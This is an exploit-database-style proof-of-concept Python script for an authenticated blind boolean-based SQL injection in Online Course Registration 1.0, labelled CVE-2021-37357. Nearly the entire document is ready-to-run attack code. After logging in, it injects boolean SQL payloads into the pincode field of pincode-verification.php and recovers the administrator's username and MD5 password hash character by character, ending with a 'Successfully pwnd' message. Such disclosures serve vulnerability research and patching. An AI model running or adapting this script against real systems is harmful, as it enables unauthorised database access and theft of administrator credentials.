# Exploit Title: Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated)
# Exploit Author: Sam Ferguson (@AffineSecurity) and Drew Jones (@qhum7sec)
# Date: 2021-10-21
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: 1.0
# Tested On: Windows 10 + XAMPP + Python 3

# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, which can provide attackers
#                with access to the username and md5 hash of any administrators.
# Vulnerable file: /online-course-registration/Online/pincode-verification.php
# Proof of Concept:

#!/usr/bin/python3

import requests
import sys
import string

def exploit(hostname, username, password):
 
   # Building bruteforce list
    pass_list = list(string.ascii_lowercase)
    pass_list += list(range(0,10))
    pass_list = map(str, pass_list)
    pass_list = list(pass_list)

    user_list = pass_list
    user_list += list(string.ascii_uppercase)
    user_list = map(str, user_list)
    user_list = list(user_list)

    session = requests.Session()

    # This URL may change based on the implementation - change as needed
    url = f"{hostname}/online-course-registration/Online/index.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/index.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
    data = {"regno": f"{username}", "password": f"{password}", "submit": ''}
    r = session.post(url, headers=headers, data=data)


    print("Admin username:")
    # This range number is pretty arbitrary, so change it to whatever you feel like
    for i in range(1,33):
        counter = 0
        find = False
        for j in user_list:
            # This URL may change based on the implementation - change as needed
            url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
            data = {"pincode": f"' or (select(select (substring(username,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
            a = session.post(url, headers=headers, data=data)
            counter += 1
            if 'Course Enroll' in a.text:
                sys.stdout.write(j)
                sys.stdout.flush()
                break
            elif counter == len(user_list): 
                find = True
                break
        if find:
            break

    print("\n")
    print("Admin password hash:")
    # This range is not arbitrary and will cover md5 hashing - if the hashing implementation is different, change as needed
    for i in range(1,33):
        counter = 0
        find = False
        for j in pass_list:
            url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
            data = {"pincode": f"' or (select(select (substring(password,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
            a = session.post(url, headers=headers, data=data)
            counter += 1
            if 'Course Enroll' in a.text:
                sys.stdout.write(j)
                sys.stdout.flush()
                break
            elif counter == len(pass_list): 
                find = True
                break
        if find:
            break

    print("\n\nSuccessfully pwnd :)")

def logo():
    art = R'''
__/\\\\\\\\\\\\\____/\\\\\\\\\\\__/\\\\\_____/\\\__/\\\\_________/\\\__        
 _\/\\\/////////\\\_\/////\\\///__\/\\\\\\___\/\\\_\///\\________\/\\\__       
  _\/\\\_______\/\\\_____\/\\\_____\/\\\/\\\__\/\\\__/\\/_________\/\\\__      
   _\/\\\\\\\\\\\\\/______\/\\\_____\/\\\//\\\_\/\\\_\//___________\/\\\__     
    _\/\\\/////////________\/\\\_____\/\\\\//\\\\/\\\__________/\\\\\\\\\__    
     _\/\\\_________________\/\\\_____\/\\\_\//\\\/\\\_________/\\\////\\\__   
      _\/\\\_________________\/\\\_____\/\\\__\//\\\\\\________\/\\\__\/\\\__  
       _\/\\\______________/\\\\\\\\\\\_\/\\\___\//\\\\\________\//\\\\\\\/\\_ 
        _\///______________\///////////__\///_____\/////__________\///////\//__
    '''
    info = 'CVE-2021-37357 PoC'.center(76)
    credits = 'Created by @AffineSecurity and @qhum7sec'.center(76)
    print(f"{art}\n{info}\n{credits}")

def main():
    logo()
    hostname = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py http://127.0.0.1:80 username password")

    exploit(hostname, username, password)

if __name__ == '__main__':
    main()